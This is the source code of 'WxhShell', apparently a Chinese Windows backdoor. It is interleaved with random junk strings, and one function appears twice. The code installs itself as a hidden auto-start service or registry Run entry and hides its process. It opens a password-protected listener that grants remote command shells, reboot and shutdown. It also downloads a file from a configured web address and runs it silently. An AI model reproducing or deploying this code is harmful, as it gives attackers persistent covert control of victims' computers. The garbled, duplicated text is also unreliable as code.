"GetModuleBaseNameA"); 3;`93TO{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U<NpDjc" g5to0 if (!NtQueryInformationProcess) return 0; \?fl%r2 EQ>bwEG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %;PPu$8K9 if(!hProcess) return 0; !+H=e>Y6 P"u* bqk if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I=^%l7
)[)-.{q CloseHandle(hProcess); 4f"a/(>* ]IJ.} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l(zkMR$b8 if(hProcess==NULL) return 0; hk&p+NV! 6|LDb"Rvy HMODULE hMod; zq]V6.]J char procName[255]; ap9eQsC unsigned long cbNeeded; ,Ql3RO, N[ArwV2O if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (vjQF$Hp 7w{`f)~ CloseHandle(hProcess); wy_TFV U'.>wjO if(strstr(procName,"services")) return 1; // 以服务启动 M)EUR0>8 9&'Mb[C`"
return 0; // 注册表启动 v(4C?vxhG } ( L RX gpr];lgS // 主模块 Hv0sl+ int StartWxhshell(LPSTR lpCmdLine) p9_45u`u2 { ASy7")5 SOCKET wsl; b)w3
G%Xx BOOL val=TRUE; k=bv!T_o int port=0; n*iaNaU"' struct sockaddr_in door; 4'9h^C& sS(^7GARa if(wscfg.ws_autoins) Install(); =GM!M@~,Ab HA"dw2| port=atoi(lpCmdLine); ZLKS4 <WBGPzVZE if(port<=0) port=wscfg.ws_port;
YQX>)' D?5W1m]E,s WSADATA data; ?67j+) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |_[mb(<| w6Tb<ja if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ieS5*@^k setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q}BQu@'H door.sin_family = AF_INET; ~w[zX4@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ",8h>eEWK door.sin_port = htons(port); ;{Z2i% A7_*zR@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,%nmCetD@ closesocket(wsl); ~P6K)V|@< return 1; "TjR]jnV( } ~?b(2gn YBS]JCO if(listen(wsl,2) == INVALID_SOCKET) { x5`q)!<& closesocket(wsl); ]P<&CEk return 1; /e{Oqhf[n } ( v
~/glf Wxhshell(wsl); Z^GriL WSACleanup(); A7b7IM [ aeBth{ return 0; 4VU5}"< ~Nc]`95 } "hlIGJ?_= ^<|If:| // 以NT服务方式启动 bR&hI9`%F VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c@nl;u)n { X?7$JV-: DWORD status = 0; ^ACp_RM DWORD specificError = 0xfffffff; 'pm2C6AC (vj2XiO^+ serviceStatus.dwServiceType = SERVICE_WIN32; zLh ~x serviceStatus.dwCurrentState = SERVICE_START_PENDING; (c[h,>`@: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *.nqQhW serviceStatus.dwWin32ExitCode = 0; ^*{xTB57 serviceStatus.dwServiceSpecificExitCode = 0; @#Xzk?+ serviceStatus.dwCheckPoint = 0; 3UN Jj&-` serviceStatus.dwWaitHint = 0; !&'xkw ` &aF_y_f\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]&G5/]f if (hServiceStatusHandle==0) return; A&t'uY6 swLgdk{8n status = GetLastError(); :&or'Yi} if (status!=NO_ERROR) |g'sRTKJ { 8v]{ 5 serviceStatus.dwCurrentState = SERVICE_STOPPED; TyBNRnkt serviceStatus.dwCheckPoint = 0; 2Vu|uZd serviceStatus.dwWaitHint = 0; ]7u8m[@ serviceStatus.dwWin32ExitCode = status; .ySesN: C~ serviceStatus.dwServiceSpecificExitCode = specificError; Bgs~1E @8V SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1
yzxA( return; @JEr/yy }
HK[sHB& aF;TsB serviceStatus.dwCurrentState = SERVICE_RUNNING; l5h9Eq serviceStatus.dwCheckPoint = 0; VhW;=y>} serviceStatus.dwWaitHint = 0; -dvDAs{X if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MZd\.]G@ } rf`Br\g8 k=~?!+p7 // 处理NT服务事件,比如:启动、停止 uRL3v01?H0 VOID WINAPI NTServiceHandler(DWORD fdwControl) N0qC/da1 { H|TzD"2N switch(fdwControl) Bw#ubQJ8} { Uv+pdRXn case SERVICE_CONTROL_STOP: %#]T.g
serviceStatus.dwWin32ExitCode = 0; ?D\%ZXo serviceStatus.dwCurrentState = SERVICE_STOPPED; _$bx4a serviceStatus.dwCheckPoint = 0; Z?X$8o^Z serviceStatus.dwWaitHint = 0; )>Lsj1qk { x!$,Hcph, SetServiceStatus(hServiceStatusHandle, &serviceStatus); D1j7iv } !}3`Pl.(r return; j qdI=!H case SERVICE_CONTROL_PAUSE: G1nW{vce serviceStatus.dwCurrentState = SERVICE_PAUSED;
i
Lm1l break; ]Z84w!z case SERVICE_CONTROL_CONTINUE: }DM2#E`_ serviceStatus.dwCurrentState = SERVICE_RUNNING; H]!y |p break; 9nG] .@H case SERVICE_CONTROL_INTERROGATE: $>h#|?*? break; K4F!?# }; ~lF lv+,% SetServiceStatus(hServiceStatusHandle, &serviceStatus); &
9]KkY= } t~a$|(
9 ^6LFho4 // 标准应用程序主函数 n5JB'F) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -E500F*b { ,m"ztu- cdfll+ // 获取操作系统版本 xBZ9|2Y s OsIsNt=GetOsVer(); kCC9U_dj, GetModuleFileName(NULL,ExeFile,MAX_PATH); c0qv11,:t kCwTv:) // 从命令行安装 EIYM0vls( if(strpbrk(lpCmdLine,"iI")) Install(); aEk*-v#{ 7IHD?pnZ // 下载执行文件 tZ@+18 if(wscfg.ws_downexe) { x@Y2jM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4bxkp3~h; WinExec(wscfg.ws_filenam,SW_HIDE); vV[dJ% } 5"gRz9Ta` ATzNV=2s if(!OsIsNt) { ZKR z=( // 如果时win9x,隐藏进程并且设置为注册表启动 (k5DbP[ HideProc(); _eQP0N StartWxhshell(lpCmdLine); vW{cBy } vl5n%m H>^ else O7d Fz)$ if(StartFromService()) cyhD%sB[D9 // 以服务方式启动 8@fDn(]w StartServiceCtrlDispatcher(DispatchTable); O9|'8"AF
else epR~Rlw>2 // 普通方式启动 )PG,K4z StartWxhshell(lpCmdLine); L@z !,r, r;XQ i return 0; NI1HUUZz } &V?q d{39 v2n0[b0 >Y/[zfI2 y\_S11{v =========================================== S[a5k;8GL O|>1~^w #c^Q<&B
[;=WnG 0 `!Q-G7 baNfS " E~>6*_? reA8=>b/ #include <stdio.h> FqTkUWd,# #include <string.h> Wv0'?NL. #include <windows.h> SznE:+ #include <winsock2.h> |w JZU #include <winsvc.h> YF -w=Y6 #include <urlmon.h> HLe^| ?fmt@@]T? #pragma comment (lib, "Ws2_32.lib") z/YMl3$l~ #pragma comment (lib, "urlmon.lib") &5.~XM; 4Z}bw# #define MAX_USER 100 // 最大客户端连接数 tqQ0lv^J #define BUF_SOCK 200 // sock buffer 2\w=U,;( #define KEY_BUFF 255 // 输入 buffer 8`G{1lr4o 30_un #define REBOOT 0 // 重启 MA+-2pMc|7 #define SHUTDOWN 1 // 关机 ^-IsK#r.k ^2r}_AX #define DEF_PORT 5000 // 监听端口 kppRQ Q*[ +?iM$}8!U #define REG_LEN 16 // 注册表键长度 ~+#--BhV #define SVC_LEN 80 // NT服务名长度 ?*'$(}r3 ,8IAhQa // 从dll定义API qP"JNswI_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4*vas]
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); be:phS4vz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -L9R&r#_e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8'lhp2#h DLYZsWA, // wxhshell配置信息 Uk:.2%S2 struct WSCFG { cU*lB! int ws_port; // 监听端口 H\I!J@6g char ws_passstr[REG_LEN]; // 口令 #Q3PzDfj int ws_autoins; // 安装标记, 1=yes 0=no RW7oL:$dt char ws_regname[REG_LEN]; // 注册表键名 c[ony:6 char ws_svcname[REG_LEN]; // 服务名 =$8@JF' char ws_svcdisp[SVC_LEN]; // 服务显示名 [S]!+YBK char ws_svcdesc[SVC_LEN]; // 服务描述信息 }IN_5o(( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {TncqA int ws_downexe; // 下载执行标记, 1=yes 0=no c,q"}nE8w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0sd-s~; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
F4rKFMr JYd7@Msfc }; ^v!im\ r DvX3/z#T // default Wxhshell configuration Iv(Qa6( struct WSCFG wscfg={DEF_PORT, naIv= "xuhuanlingzhe", .NkAD-k` 1, cH;TnuX "Wxhshell", D4q>R; "Wxhshell", YvruK:I "WxhShell Service", `OP>(bU0 "Wrsky Windows CmdShell Service", g6g$nY@Jm "Please Input Your Password: ", hoR=%pC* 1, 3l%,D:
? "http://www.wrsky.com/wxhshell.exe", M{xVkXc> "Wxhshell.exe" @vQa\|j }; GzFE%< 9F 8*yo7q& // 消息定义模块 WE[m@K[CR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (
f,J_ char *msg_ws_prompt="\n\r? for help\n\r#>"; N\q)LM !M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iS"8X#[]N char *msg_ws_ext="\n\rExit."; uyNJN char *msg_ws_end="\n\rQuit."; Vd+Q:L char *msg_ws_boot="\n\rReboot..."; <'[Ku;m char *msg_ws_poff="\n\rShutdown..."; S9p?* char *msg_ws_down="\n\rSave to "; =dM.7$6) R m1-\qt-yy char *msg_ws_err="\n\rErr!"; *AH^%!kVP char *msg_ws_ok="\n\rOK!"; [8@kx Cq \E@s_fQ] char ExeFile[MAX_PATH]; >{m2E8U0 int nUser = 0; iS1Gb$? HANDLE handles[MAX_USER]; *q*HG W5 int OsIsNt; U,<]J*b(@4 C]'g:93L SERVICE_STATUS serviceStatus; "#pzZ)Zh SERVICE_STATUS_HANDLE hServiceStatusHandle; >+
]R4 S= -M3fP~ // 函数声明 V5a?=vK9 int Install(void); sS2_-X[_ int Uninstall(void); uuSR%KK]| int DownloadFile(char *sURL, SOCKET wsh); SFn 3$ rh int Boot(int flag); 8?7kIin void HideProc(void); 3Q"F(uE v^ int GetOsVer(void); .G}k/`a int Wxhshell(SOCKET wsl); RzS|dGNQE void TalkWithClient(void *cs); bar0{!Y" int CmdShell(SOCKET sock); 5g``30:o int StartFromService(void); 7qg<[ int StartWxhshell(LPSTR lpCmdLine); [5Fd P0 >?5xDbRj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sty!atEWT VOID WINAPI NTServiceHandler( DWORD fdwControl ); jJ
aV lwOf)jK:J // 数据结构和表定义 u#+RUtM SERVICE_TABLE_ENTRY DispatchTable[] = 9g
Bjxqm { 3;a
R\:p@w {wscfg.ws_svcname, NTServiceMain}, ,?g=U8y| {NULL, NULL} \+k, :8s/ }; ^/>Wr'w 4\N_ G
@ // 自我安装 J/'M N int Install(void) #JA}LA"l { 5"JU?e59M char svExeFile[MAX_PATH]; F7{R~mS; HKEY key; c>ad0xce6 strcpy(svExeFile,ExeFile); 1")FWN_K/T dEASvD' // 如果是win9x系统,修改注册表设为自启动 lC#RNjDp/~ if(!OsIsNt) { G02ox5X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !4R>O6k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~G>jw"r RegCloseKey(key); TbLe6x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vv+D*e&< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3;*z3;#} RegCloseKey(key);
?7#7: return 0; 6b?`:$Cw3) } <EMkD1e } +z\\VD } I>A^I else { ]gu1# Q|Pbt(44 // 如果是NT以上系统,安装为系统服务 n]+. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;XG]Q<S\ if (schSCManager!=0) .H8mRvd? { %}C9 SC_HANDLE schService = CreateService &1wpGJqm ( rA,CQypo schSCManager, Xv0F:1 wscfg.ws_svcname, D?e"U_ wscfg.ws_svcdisp, \a\= gn SERVICE_ALL_ACCESS, JO2xT#V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `=79i$,,t
SERVICE_AUTO_START, -!cIesK;< SERVICE_ERROR_NORMAL, fk>l{W}e) svExeFile, Dl%?OG< NULL, 9x=3W?K:, NULL, %[wTz$S" NULL, o{V#f_o NULL, bM"fk& NULL 2MuO*.9D ); d.`&0 if (schService!=0) HsnG4OE { \c{R <Hh CloseServiceHandle(schService); *g1L$FBG CloseServiceHandle(schSCManager); dK.R[aQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i\Yl strcat(svExeFile,wscfg.ws_svcname); b^ sb]bZW if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zmI5"K"'F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XA1f' Kk RegCloseKey(key); JA`H@qE return 0; f&ytK } =}v ;1m } h*s`^W3 CloseServiceHandle(schSCManager); @EHIp{0. } SK+@HnKd } IIxJqGN: e_/x&a(i8 return 1; s~J=<)T*6 } -es"0wS<u WfG(JJ // 自我卸载 WmNYO,> int Uninstall(void) t?{B_Bf { 'T7 x@a`b) HKEY key; !\;:36B#6 T C8`JU=wV if(!OsIsNt) { R\5Vq$Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Sjr_!u RegDeleteValue(key,wscfg.ws_regname); !
_{d)J RegCloseKey(key); +K^h!d] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;/'|WLI9 RegDeleteValue(key,wscfg.ws_regname); =Vb~s+YW RegCloseKey(key); q[ULGv return 0; T%(C-Quh } \"x>JW4w } :)IV!_>'d } /L&M,OUcr. else { cy|%sf` SfW}"#L>5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qz+sT6js- if (schSCManager!=0) jl}$HEI5m} { d(7NO;S8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /v#)f-N%zs if (schService!=0) h^oH^moq< { #.ct5 if(DeleteService(schService)!=0) { } ptMjT{9 CloseServiceHandle(schService); .!RavEg+ CloseServiceHandle(schSCManager); `~h4D(n` return 0; ,l HLH } {)@D`{$ CloseServiceHandle(schService); PKf:O } exDkq0u] CloseServiceHandle(schSCManager); qu~X.pW } 81F,Y)x. } dz%EM8 oNM?y:O return 1; }`o?/!X } p|qyTeg ;YyXT"6/p // 从指定url下载文件 rh%m;i<b int DownloadFile(char *sURL, SOCKET wsh) 3o6RbW0[
{ $`ztiVu3 HRESULT hr; r:&|vP char seps[]= "/"; S1bAu
< char *token; K
|*5Kwi char *file; 3yV'XxC char myURL[MAX_PATH]; j~`\XX{> char myFILE[MAX_PATH]; gU1 #`r>[) CO^Jz strcpy(myURL,sURL); :243 H token=strtok(myURL,seps); ~R]35Cp-# while(token!=NULL) M#,Q
^rH# { oyx^a9 file=token; E m{aM token=strtok(NULL,seps); XOy2lJ/ } w%a8XnW]1 ~/-eyxLTm GetCurrentDirectory(MAX_PATH,myFILE); -rSIBc:$8 strcat(myFILE, "\\"); #0"~G][# strcat(myFILE, file); +(?>-3_z send(wsh,myFILE,strlen(myFILE),0); U \oy8FZ send(wsh,"...",3,0); kV&9`c+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !HK^AwNY if(hr==S_OK) u[oUCTY return 0; h#qN+qt} else +dW|^I{H} return 1; "y;bsZBd" F{m{d?:OA } 1||+6bRP @ -:]P8 // 系统电源模块 E
D"!n-Hq int Boot(int flag) ,EpH4*e { A??@AP[7M HANDLE hToken; ~i~%~doa TOKEN_PRIVILEGES tkp; m:+8J,jW gfa[4
z if(OsIsNt) { `BY&>WY[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uQqWew8l+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pbu{'y3J tkp.PrivilegeCount = 1; v?:: |{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oPQtGl p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [xZU!= if(flag==REBOOT) { ) R2XU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $V>yXhTh return 0; r[txlQI9 } GK*v{` else { uJU*")\V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )?aaBaN$ return 0; C$yq\C+I } e Y$qV} } Uh6 '$0 else { 1B=>_3_ if(flag==REBOOT) { O;9?(:_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ExBUpDQc return 0; 8wZf]_ } {QAv~S>4 else { 2 QTZwx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wBSQ:f]g return 0; W"q@Qa`Bm } *OjKcs } An`3Ex[
b~m2tC=AW return 1; ) c2_b } 1bnBji J^#:qk // win9x进程隐藏模块 iq$$+y, void HideProc(void) ,m3e?j@;r { PmpNAVE' K2)!h.W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iBg3mc@OO if ( hKernel != NULL ) uQ1@b-e`5 { u{<"NR h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |*5 =_vF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OhZgcUqQ8 FreeLibrary(hKernel); u+m,b76 } NpP')m!`} <UP
m=Hb return; )u%je~Vw } ~&dyRtW4 feM6K!fL` // 获取操作系统版本 ZP\M9Ja int GetOsVer(void) hZXXBp { =wWpP-J& OSVERSIONINFO winfo; {Ro2ouQ!V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1T&Rc4$Sn7 GetVersionEx(&winfo); jKIxdY:U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b}^S.;vNj return 1; LpbsYl else v X~RP
* return 0; $ ,Ck70_ } 1Na@|yY ^2D1`,|N // 客户端句柄模块 "ww|&-W9 int Wxhshell(SOCKET wsl) K)tQ]P { "p&Y^] SOCKET wsh; CqMhk struct sockaddr_in client; d[^KL;b?6 DWORD myID; z4%uN|V ipnV$!z while(nUser<MAX_USER) yOU(2"8p { 2jJmE&)7, int nSize=sizeof(client); s9;#!7ms wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6 gL=u-2 if(wsh==INVALID_SOCKET) return 1; Qj{8?lew |~`as(@Ih handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +d}E&=p_ if(handles[nUser]==0) kl!wVLE closesocket(wsh); p@!nYPr. else BF*kb2"GZ6 nUser++; $
i)bq6 } ^ 2GHe<Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2,2Z`X t.8 GT&p return 0; 2"P99$" } P9Yy9_a|x 8
;d$54
b // 关闭 socket {'sY|lou void CloseIt(SOCKET wsh) Y`7~Am/r;& { j`'`)3f closesocket(wsh); T3UMCqc= nUser--; zLs|tJOVp ExitThread(0); : JzI>/ } EKEjv|_) $EZN1\ // 客户端请求句柄 ZX!r1*c
6 void TalkWithClient(void *cs) $n^MD_1! { @bM2{Rh: &X@Bs- SOCKET wsh=(SOCKET)cs; l&4,v char pwd[SVC_LEN]; <U5wB]] char cmd[KEY_BUFF]; uzmk6G
v char chr[1]; ]w T 7*( Y int i,j; F^"_TV0va `e9$,h|4 while (nUser < MAX_USER) { <~}7Mxn%x@ M#"524Nz if(wscfg.ws_passstr) { 4a0:2 kIKa if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [${
QzO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !-2R;yo12 //ZeroMemory(pwd,KEY_BUFF); 'j^xbikr i=0; ]V %.I_ while(i<SVC_LEN) { D0k
8^ \P} p5k[ // 设置超时 H1<>NWm!v7 fd_set FdRead; 3~,d+P struct timeval TimeOut; h~&gIub FD_ZERO(&FdRead); mK+IEZV<3 FD_SET(wsh,&FdRead); {FRAv(,\ TimeOut.tv_sec=8; 2"|2a@ TimeOut.tv_usec=0; [b%:.bjY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B\J^=W+` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9TF f8'?d GRb*EeT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T2}FYVj?!g pwd=chr[0]; S6}@I ,Q if(chr[0]==0xd || chr[0]==0xa) { ,fK3ZC pwd=0; "|;:>{JC break; V/cP4{L } ,NnhHb2\ i++; rG#Z=*b% } /? r?it >AoK/(yL. // 如果是非法用户,关闭 socket A+y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;\EiM;Q] } WZOY)>K l"\~yNgk send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mj|)nOd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j4?@(u9;j q@b|F- while(1) { 7.DtdyM VrZ>bma; ZeroMemory(cmd,KEY_BUFF); "UEv&mQ lb'GXd % // 自动支持客户端 telnet标准 vN2u34 j=0; d(g^M1m while(j<KEY_BUFF) { [
W2fd\4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uOa26kE4 cmd[j]=chr[0]; C6O8RHg if(chr[0]==0xa || chr[0]==0xd) { z0|&W&&D cmd[j]=0; O+%WR break; W@yJAQ } $P1O>x>LIL j++; N`)$[&NG] } b-3*Nl _% 8G5Da|\ // 下载文件 zBO(`=| if(strstr(cmd,"http://")) { [((;+B send(wsh,msg_ws_down,strlen(msg_ws_down),0); wApMzZ(X2y if(DownloadFile(cmd,wsh)) i)#s.6.D> send(wsh,msg_ws_err,strlen(msg_ws_err),0); LL|7rS|o else ,J`'Y+7W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AuR$g7z } ,K:ll4{b else { Vi4~`;|&b+ SP|<Tny switch(cmd[0]) { hFiIW77s2 .uNQBBNv // 帮助 G_> #Js case '?': { _+
.\@{c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o)OUWGjb/K break; qlA7tU2p& } w8g,a]p // 安装 ^F:k3,_[ case 'i': { DE2a5+^ if(Install()) rP!#RzL send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^z,_+},a3T else iCHt1VV] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bi@&nAhn@ break; vD 5vbl } )sho*;_o // 卸载 DJP2IP case 'r': { -hkQ2[Ew# if(Uninstall()) !QDQ_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #
O4gg else #2`D`>7456 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1SrJ6W @j[ break; e^lWR] v } ~+Z{Q25R // 显示 wxhshell 所在路径 1heS*Fwn' case 'p': { "B_K
XL char svExeFile[MAX_PATH]; lV.F,3 strcpy(svExeFile,"\n\r"); ho>k$s? strcat(svExeFile,ExeFile); QdLYCR4f send(wsh,svExeFile,strlen(svExeFile),0); VXR]"W= break; %lg=YGLQB } ;Ag
3c+ // 重启 G;f/Tch case 'b': { ' oFxR003 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8ssJ<LP if(Boot(REBOOT)) c\% r38 send(wsh,msg_ws_err,strlen(msg_ws_err),0); E*?<KZe" else { v\`9;QV5 closesocket(wsh); t%530EB3 ExitThread(0); o!4!"O'E } %T7nO %p break; F#|:`$t } ,t)x{I;C) // 关机 U35AX9/ case 'd': { 1Z{ZV.! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lC=~$c: if(Boot(SHUTDOWN)) ;(}V"i7Hu send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5wUUx# else { ^<X@s1^# closesocket(wsh); t<n"-Tqu ExitThread(0); .(Qx{r$ } ,RN:^5 p break; "QvmqI> } w1UA?+43 // 获取shell >AJSqgHQ, case 's': { S~]mWxgZ CmdShell(wsh); LHJ":^ closesocket(wsh); ~Y.tz`2D ExitThread(0); =V"(AuCVE break; y1=NF } &CwFdx:Ff // 退出 M4xi1M#% case 'x': { 0-{tFN send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;;A2!w{}[i CloseIt(wsh); e L.(p
k^< break; s|y:UgD } b*ef); // 离开 GJqE!I,. case 'q': { *6(kbe s send(wsh,msg_ws_end,strlen(msg_ws_end),0); `gKf#f closesocket(wsh); .k[o$z\EkF WSACleanup(); .5!t:FPOv exit(1); gl).cIp w break; <w\:<5e ' } "[:iXRu } k<+0o)) } S.!UPkW H :$+-3_oLMQ // 提示信息 L],f3< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S(:l+JP } t20PP4FWM } ^*\XgX ZIdA\_c return; fb da } LSQz"Ll
l TY(bPq // shell模块句柄 BPr^D0P int CmdShell(SOCKET sock) xJ2*LM- { Ma|qHg STARTUPINFO si; I}2P>)K ZeroMemory(&si,sizeof(si)); P9T5L<5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Yw'oYnS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F ]O$(7* PROCESS_INFORMATION ProcessInfo; Su 5>$ char cmdline[]="cmd"; Pl-5ncb\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )J?{+3 return 0; &QNWL] } l1]p'Liuu s}onsC // 自身启动模式 `<[6YH_ int StartFromService(void) z6py"J@ { /.M+fr S typedef struct <W]g2>9o9 { yz2Ci0Dwy DWORD ExitStatus; ~8aJ S,u DWORD PebBaseAddress; c]B$i*t DWORD AffinityMask; Zf7&._y. DWORD BasePriority; hp"L8w ULONG UniqueProcessId; e|4&b@ ULONG InheritedFromUniqueProcessId; *._|- L } PROCESS_BASIC_INFORMATION; Dup;e&9g .d/:30Y PROCNTQSIP NtQueryInformationProcess; 4d:{HLX, s_.]4bl.8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a?YCn! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V<HU6w 5PcJZi^.l HANDLE hProcess; m5G \}8| PROCESS_BASIC_INFORMATION pbi; 2&Nb $BmmNn# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -*2Mf Mh if(NULL == hInst ) return 0; &_5tqh c#N<"cy> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _lW+>xQ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !EQ@#qW/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3sCFHn#c 4em;+ >D6 if (!NtQueryInformationProcess) return 0; r6'UUu E2L(wt}^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t:LcNlN| if(!hProcess) return 0; VOsqJJ3 p$7#}s if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9z?oB&5 q %A?V_ CloseHandle(hProcess); 1{_A:<VBl \Ep0J $ #o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #}^-C&~ if(hProcess==NULL) return 0; 6mH/ m& 4x%(9_8{- HMODULE hMod; [#YE^[*qK char procName[255]; n]+W 3[i unsigned long cbNeeded; kqG0%WtQ .yENM[-bQ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G#Ou[*O' t?nX=i*~] 